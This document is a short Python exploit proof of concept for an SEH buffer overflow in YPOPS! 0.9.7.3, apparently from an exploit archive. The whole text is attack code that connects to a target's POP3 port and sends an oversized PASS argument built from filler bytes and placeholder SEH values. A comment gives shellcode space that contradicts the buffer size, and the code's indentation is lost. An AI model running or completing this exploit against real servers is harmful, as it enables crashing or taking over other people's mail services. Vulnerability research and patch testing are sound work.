# Exploit Title: YPOPS! version 0.9.7.3 Buffer Overflow (SEH)
# Date: 1/10/10
# Author: blake
# Software Link: http://sourceforge.net/projects/yahoopops/files/Windows/0.9.7.3/ypops-win-0.9.7.3.exe/download
# Version:0.9.7.3
# Tested on: Windows XP SP3
#!/usr/bin/python
# All modules are SafeSEH protected in service pack 3.
import socket, sys
print "\n ========================================"
print " YPOPS! v 0.9.7.3 Buffer Overflow (SEH)"
print " Proof of Concept by Blake "
print " Tested on Windows XP Pro SP 3 "
print " ========================================\n"
if len(sys.argv) != 2:
print "Usage: %s <ip>\n" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
port = 110
buffer = "\x41" * 1663
buffer += "\x42" * 4 # next seh
buffer += "\x43" * 4 # seh handler
buffer += "\x44" * 2000 # 136 bytes of space for shellcode
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
print "[+] Connecting to server...\n"
s.recv(1024)
s.send('USER blake\r\n')
s.recv(1024)
print "[+] Sending buffer\n"
s.send('PASS ' + buffer + '\r\n')
s.recv(1024)
s.close()
print "[+] Done.\n"
except:
print "[-] Could not connect to server!\n"